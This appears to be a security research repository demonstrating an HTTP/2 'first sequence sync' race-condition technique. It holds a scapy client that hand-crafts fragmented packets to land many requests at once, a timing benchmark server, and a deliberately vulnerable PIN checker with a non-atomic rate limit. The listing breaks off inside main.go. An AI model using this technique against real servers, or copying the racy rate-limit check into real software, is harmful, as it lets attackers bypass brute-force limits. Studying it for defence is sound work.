├── README.md ├── rc-benchmark ├── go.mod ├── go.sum ├── rc-benchmark-client.py └── rc-benchmark.go └── rc-pin-bypass ├── compose.yaml ├── go.mod ├── go.sum ├── init.sql ├── main.go └── rc-pin-bypass-client.py /README.md: -------------------------------------------------------------------------------- 1 | # First sequence sync 2 | -------------------------------------------------------------------------------- /rc-benchmark/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/Ry0taK/raw-tcp 2 | 3 | go 1.22.3 4 | 5 | require golang.org/x/net v0.25.0 6 | 7 | require golang.org/x/text v0.15.0 // indirect 8 | -------------------------------------------------------------------------------- /rc-benchmark/go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= 2 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 3 | golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= 4 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 5 | -------------------------------------------------------------------------------- /rc-benchmark/rc-benchmark-client.py: -------------------------------------------------------------------------------- 1 | import time 2 | from scapy.all import send, TCP, RandShort, IP, sr1, fragment 3 | from scapy.contrib.http2 import H2_CLIENT_CONNECTION_PREFACE, H2Frame, H2SettingsFrame, H2Setting, HPackHdrTable, H2DataFrame, H2Seq 4 | import argparse 5 | 6 | parser = argparse.ArgumentParser() 7 | 8 | parser.add_argument('ip', help='IP address of the server') 9 | parser.add_argument('port', help='Port of the server', type=int) 10 | parser.add_argument('amount', help='Amount of requests to send', type=int) 11 | 12 | args = parser.parse_args() 13 | 14 | target_ip = args.ip 15 | target_port = args.port 16 | 17 | req_amount = args.amount 18 | 19 | tcp = TCP(sport=int(RandShort()), dport=target_port, flags="S", 20 | seq=1000, window=65535) 21 | 22 | ip = IP(dst=target_ip) 23 | 24 | # SYN/ACK 25 | syn = ip/tcp 26 | syn_ack = sr1(syn) 27 | 28 | tcp_window = syn_ack.window 29 | 30 | print("Using %d as the TCP window size" % tcp_window) 31 | 32 | tcp.seq += 1 33 | tcp.ack = syn_ack.seq + 1 34 | tcp.flags = 'A' 35 | ack = ip/tcp 36 | send(ack) 37 | 38 | print("[+] Established the connection to the target!") 39 | 40 | http2_preface = ip/tcp/H2_CLIENT_CONNECTION_PREFACE 41 | send(http2_preface) 42 | tcp.seq += len(H2_CLIENT_CONNECTION_PREFACE) 43 | 44 | h2_settings = [ 45 | # SETTINGS_HEADER_TABLE_SIZE 46 | H2Setting(id=1, value=4096), 47 | # SETTINGS_ENABLE_PUSH 48 | H2Setting(id=2, value=0), 49 | # SETTINGS_MAX_CONCURRENT_STREAMS 50 | H2Setting(id=3, value=2**32-1), 51 | ] 52 | 53 | h2_settings_frame = H2Frame()/H2SettingsFrame(settings=h2_settings) 54 | send(ip/tcp/h2_settings_frame) 55 | tcp.seq += len(h2_settings_frame) 56 | 57 | h2_settings_ack_frame = H2Frame(flags={'A'}) / H2SettingsFrame() 58 | send(ip/tcp/h2_settings_ack_frame) 59 | tcp.seq += len(h2_settings_ack_frame) 60 | 61 | initial_frames = [] 62 | last_byte_frames = [] 63 | print("[+] Building frames...") 64 | for i in range(req_amount): 65 | body = bytes(str(i), 'utf-8') 66 | h2_headers = [ 67 | ('Content-Length', str(len(body))), 68 | ] 69 | 70 | special_headers = [ 71 | (':method', 'POST'), 72 | (':scheme', 'http'), 73 | (':path', '/'), 74 | (':authority', "%s:%d" % (target_ip, target_port)), 75 | ] 76 | 77 | special_headers_str = "\n".join([f"{k} {v}" for k, v in special_headers]) 78 | 79 | headers_str = "\n".join([f"{k}: {v}" for k, v in h2_headers]) 80 | stream_id = (i+1)*2-1 81 | http2_frame = HPackHdrTable().parse_txt_hdrs(bytes(special_headers_str+"\n" + 82 | headers_str, 'utf-8'), stream_id=stream_id, body=body) 83 | # remove a last byte from http2_frame for the last byte sync 84 | data_frame = http2_frame.frames[-1] 85 | last_byte = data_frame.data[-1:] 86 | data_frame.flags.remove('ES') 87 | data_frame.data = data_frame.data[:-1] 88 | http2_frame.frames[-1] = data_frame 89 | 90 | initial_frames.append(http2_frame) 91 | 92 | last_byte_data_frame = H2Frame(stream_id=stream_id, flags={ 93 | 'ES'}) / H2DataFrame(data=last_byte) 94 | last_byte_frames.append(last_byte_data_frame) 95 | 96 | print("[+] Packing the frames... (It may take a few minutes...)") 97 | 98 | def pack_frames_to_seq(frames): 99 | packets = [] 100 | current_seq = H2Seq() 101 | tcp_len = len(tcp) 102 | seq_len = len(current_seq) 103 | frames_len = 0 104 | for frame in frames: 105 | frames_len += len(frame) 106 | if tcp_len + seq_len + frames_len >= tcp_window: 107 | packets.append(fragment(ip/tcp/current_seq)) 108 | tcp.seq += len(current_seq) 109 | tcp_len = len(tcp) 110 | current_seq = H2Seq() 111 | current_seq.frames.append(frame) 112 | frames_len = len(frame) 113 | continue 114 | else: 115 | current_seq.frames.append(frame) 116 | 117 | if len(current_seq.frames) != 0: 118 | packets.append(fragment(ip/tcp/current_seq)) 119 | tcp.seq += len(current_seq) 120 | 121 | return packets 122 | 123 | initial_packets = pack_frames_to_seq(initial_frames) 124 | last_byte_packets = pack_frames_to_seq(last_byte_frames) 125 | 126 | print("[+] Sending initial packets...") 127 | for fragments in initial_packets: 128 | for frag in fragments: 129 | send(frag) 130 | 131 | 132 | print("[+] Sending last byte packets...") 133 | for fragments in last_byte_packets[1:]: 134 | for frag in fragments: 135 | send(frag) 136 | 137 | fragments = last_byte_packets[0] 138 | for frag in fragments[:-1]: 139 | send(frag) 140 | 141 | print("[+] Sending the last packet in 3 seconds...") 142 | time.sleep(3) 143 | # send last packet 144 | send(fragments[-1]) 145 | 146 | print("[+] Done!") 147 | 148 | time.sleep(3) 149 | 150 | special_headers = [ 151 | (':method', 'GET'), 152 | (':scheme', 'http'), 153 | (':path', '/done'), 154 | (':authority', "%s:%d" % (target_ip, target_port)), 155 | ] 156 | 157 | special_headers_str = "\n".join([f"{k} {v}" for k, v in special_headers]) 158 | stream_id = (req_amount+1)*2-1 159 | http2_frame = HPackHdrTable().parse_txt_hdrs( 160 | bytes(special_headers_str, 'utf-8'), stream_id=stream_id) 161 | send(ip/tcp/http2_frame) 162 | 163 | -------------------------------------------------------------------------------- /rc-benchmark/rc-benchmark.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "net/http" 8 | "sort" 9 | "strconv" 10 | "strings" 11 | "sync" 12 | "time" 13 | 14 | "golang.org/x/net/http2" 15 | "golang.org/x/net/http2/h2c" 16 | ) 17 | 18 | var ( 19 | mutex = sync.Mutex{} 20 | times = []int64{} 21 | ) 22 | 23 | func main() { 24 | h2server := &http2.Server{} 25 | h2server.MaxConcurrentStreams = 10000 26 | 27 | router := http.NewServeMux() 28 | 29 | router.Handle("GET /done", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 30 | if len(times) < 2 { 31 | fmt.Fprintf(w, "response") 32 | log.Println("Not enough data") 33 | return 34 | } 35 | sort.Slice(times, func(i, j int) bool { 36 | return times[i] < times[j] 37 | }) 38 | prevTime := times[0] 39 | diffs := []int64{} 40 | for _, reqTime := range times[1:] { 41 | diffs = append(diffs, reqTime-prevTime) 42 | prevTime = reqTime 43 | } 44 | 45 | sort.Slice(diffs, func(i, j int) bool { 46 | return diffs[i] < diffs[j] 47 | }) 48 | totalDiff := int64(0) 49 | diffStr := []string{} 50 | for _, diff := range diffs { 51 | totalDiff += diff 52 | diffStr = append(diffStr, strconv.FormatInt(diff, 10)) 53 | } 54 | log.Println(strings.Join(diffStr, ",")) 55 | log.Printf("Total requests: %d\n", len(times)) 56 | log.Printf("Total time: %dns\n", totalDiff) 57 | log.Printf("Mean: %dns\n", totalDiff/int64(len(diffs))) 58 | log.Printf("Max: %dns\n", diffs[len(diffs)-1]) 59 | log.Printf("Mediam: %dns\n", diffs[len(diffs)/2]) 60 | log.Printf("Min: %dns\n", diffs[0]) 61 | fmt.Fprintf(w, "response") 62 | log.Println("Done") 63 | })) 64 | 65 | router.Handle("POST /", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 66 | body, err := io.ReadAll(r.Body) 67 | if err != nil { 68 | log.Println(err) 69 | fmt.Fprintf(w, "Err") 70 | return 71 | } 72 | log.Printf("Body: %s\n", body) 73 | mutex.Lock() 74 | times = append(times, time.Now().UnixNano()) 75 | mutex.Unlock() 76 | fmt.Fprintf(w, "response") 77 | })) 78 | 79 | server := &http.Server{ 80 | Addr: "0.0.0.0:8080", 81 | Handler: h2c.NewHandler(router, h2server), 82 | } 83 | 84 | err := http2.ConfigureServer(server, h2server) 85 | if err != nil { 86 | panic(err) 87 | } 88 | 89 | fmt.Printf("Listening on [0.0.0.0:8080]...\n") 90 | err = server.ListenAndServe() 91 | if err != nil { 92 | panic(err) 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /rc-pin-bypass/compose.yaml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | 3 | services: 4 | redis: 5 | image: redis:7.2 6 | ports: 7 | - "6379:6379" 8 | 9 | postgres: 10 | image: postgres:16 11 | ports: 12 | - "5432:5432" 13 | environment: 14 | POSTGRES_USER: postgres 15 | POSTGRES_PASSWORD: postgres 16 | POSTGRES_DB: postgres 17 | volumes: 18 | - ./init.sql:/docker-entrypoint-initdb.d/init.sql 19 | -------------------------------------------------------------------------------- /rc-pin-bypass/go.mod: -------------------------------------------------------------------------------- 1 | module demo 2 | 3 | go 1.22.3 4 | 5 | require ( 6 | github.com/go-redis/redis v6.15.9+incompatible 7 | github.com/jackc/pgx/v5 v5.6.0 8 | golang.org/x/net v0.26.0 9 | ) 10 | 11 | require ( 12 | github.com/jackc/pgpassfile v1.0.0 // indirect 13 | github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect 14 | github.com/jackc/puddle/v2 v2.2.1 // indirect 15 | github.com/onsi/ginkgo v1.16.5 // indirect 16 | github.com/onsi/gomega v1.33.1 // indirect 17 | golang.org/x/crypto v0.24.0 // indirect 18 | golang.org/x/sync v0.7.0 // indirect 19 | golang.org/x/text v0.16.0 // indirect 20 | ) 21 | -------------------------------------------------------------------------------- /rc-pin-bypass/go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 5 | github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= 6 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= 7 | github.com/go-redis/redis v6.15.9+incompatible h1:K0pv1D7EQUjfyoMql+r/jZqCLizCGKFlFgcHWWmHQjg= 8 | github.com/go-redis/redis v6.15.9+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA= 9 | github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= 10 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 11 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 12 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 13 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 14 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 15 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 16 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 17 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 18 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 19 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 20 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 21 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 22 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= 23 | github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= 24 | github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= 25 | github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= 26 | github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= 27 | github.com/jackc/pgx/v5 v5.6.0 h1:SWJzexBzPL5jb0GEsrPMLIsi/3jOo7RHlzTjcAeDrPY= 28 | github.com/jackc/pgx/v5 v5.6.0/go.mod h1:DNZ/vlrUnhWCoFGxHAG8U2ljioxukquj7utPDgtQdTw= 29 | github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk= 30 | github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4= 31 | github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= 32 | github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= 33 | github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= 34 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 35 | github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= 36 | github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= 37 | github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= 38 | github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= 39 | github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= 40 | github.com/onsi/gomega v1.33.1 h1:dsYjIxxSR755MDmKVsaFQTE22ChNBcuuTWgkUDSubOk= 41 | github.com/onsi/gomega v1.33.1/go.mod h1:U4R44UsT+9eLIaYRB2a5qajjtQYn0hauxvRm16AVYg0= 42 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 43 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 44 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 45 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 46 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 47 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 48 | github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= 49 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 50 | github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= 51 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 52 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 53 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 54 | golang.org/x/crypto v0.24.0 h1:mnl8DM0o513X8fdIkmyFE/5hTYxbwYOjDS/+rK6qpRI= 55 | golang.org/x/crypto v0.24.0/go.mod h1:Z1PMYSOR5nyMcyAVAIQSKCDwalqy85Aqn1x3Ws4L5DM= 56 | golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 57 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 58 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 59 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 60 | golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 61 | golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 62 | golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ= 63 | golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE= 64 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 65 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 66 | golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 67 | golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= 68 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 69 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 70 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 71 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 72 | golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 73 | golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 74 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 75 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 76 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 77 | golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 78 | golang.org/x/sys v0.21.0 h1:rF+pYz3DAGSQAxAu1CbC7catZg4ebC4UIeIhKxBZvws= 79 | golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 80 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 81 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 82 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= 83 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= 84 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 85 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 86 | golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 87 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 88 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 89 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 90 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 91 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 92 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 93 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 94 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 95 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 96 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 97 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 98 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 99 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= 100 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 101 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 102 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 103 | gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 104 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 105 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 106 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 107 | -------------------------------------------------------------------------------- /rc-pin-bypass/init.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE IF NOT EXISTS pins ( 2 | id SERIAL PRIMARY KEY, 3 | pin INTEGER 4 | ); -------------------------------------------------------------------------------- /rc-pin-bypass/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "crypto/rand" 6 | "io" 7 | "log" 8 | "math/big" 9 | "net/http" 10 | "net/url" 11 | "strconv" 12 | 13 | "github.com/go-redis/redis" 14 | "github.com/jackc/pgx/v5/pgxpool" 15 | "golang.org/x/net/http2" 16 | "golang.org/x/net/http2/h2c" 17 | ) 18 | 19 | func panicIfErr(err error, reason string) { 20 | if err != nil { 21 | log.Fatalf("%s: %v", reason, err) 22 | } 23 | } 24 | 25 | func main() { 26 | conn, err := pgxpool.New(context.Background(), "postgres://postgres:postgres@localhost:5432/postgres") 27 | panicIfErr(err, "Failed to connect to PostgreSQL") 28 | pin, err := rand.Int(rand.Reader, big.NewInt(999)) 29 | panicIfErr(err, "Failed to generate the PIN") 30 | var id int 31 | err = conn.QueryRow(context.Background(), "INSERT INTO pins (pin) VALUES ($1) RETURNING id", pin).Scan(&id) 32 | panicIfErr(err, "Failed to insert the PIN") 33 | 34 | log.Printf("ID: %d, PIN: %d", id, pin) 35 | rdb := redis.NewClient(&redis.Options{ 36 | Addr: "localhost:6379", 37 | }) 38 | 39 | err = rdb.Set("rate_limit", 5, -1).Err() 40 | panicIfErr(err, "Failed to set the rate limit") 41 | h2server := &http2.Server{ 42 | MaxConcurrentStreams: 1000, 43 | } 44 | 45 | router := http.NewServeMux() 46 | 47 | router.Handle("POST /", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 48 | bodyBytes, err := io.ReadAll(r.Body) 49 | if err != nil { 50 | log.Printf("Failed to read the request body: %v", err) 51 | return 52 | } 53 | val, err := rdb.Get("rate_limit").Int() 54 | if err != nil { 55 | log.Printf("Failed to retrieve the rate limit from Redis: %v", err) 56 | return 57 | } 58 | if val <= 0 { 59 | log.Println("Rate limit exceeded. Restart application to reset the rate limit!") 60 | return 61 | } 62 | form, err := url.ParseQuery(string(bodyBytes)) 63 | if err != nil { 64 | log.Printf("Failed to parse request body as form: %v", err) 65 | return 66 | } 67 | idStr := form.Get("id") 68 | pinStr := form.Get("pin") 69 | 70 | id, err := strconv.Atoi(idStr) 71 | if err != nil { 72 | log.Printf("Failed to parse ID: %v", err) 73 | return 74 | } 75 | pin, err := strconv.Atoi(pinStr) 76 | if err != nil { 77 | log.Printf("Failed to parse pin: %v", err) 78 | return 79 | } 80 | 81 | var correctPin int 82 | err = conn.QueryRow(context.Background(), "SELECT pin FROM pins WHERE id = $1", id).Scan(&correctPin) 83 | if err != nil { 84 | log.Printf("Failed to retrieve pin: %v", err) 85 | return 86 | } 87 | if correctPin == pin { 88 | log.Println("PIN is correct!") 89 | } else { 90 | log.Printf("Incorrect PIN: %d (remaining attempts: %d)", pin, val-1) 91 | } 92 | 93 | err = rdb.Set("rate_limit", val-1, -1).Err() 94 | if err != nil { 95 | log.Printf("Failed to set the rate limit: %v", err) 96 | return 97 | } 98 | })) 99 | 100 | server := &http.Server{ 101 | Addr: "0.0.0.0:8080", 102 | Handler: 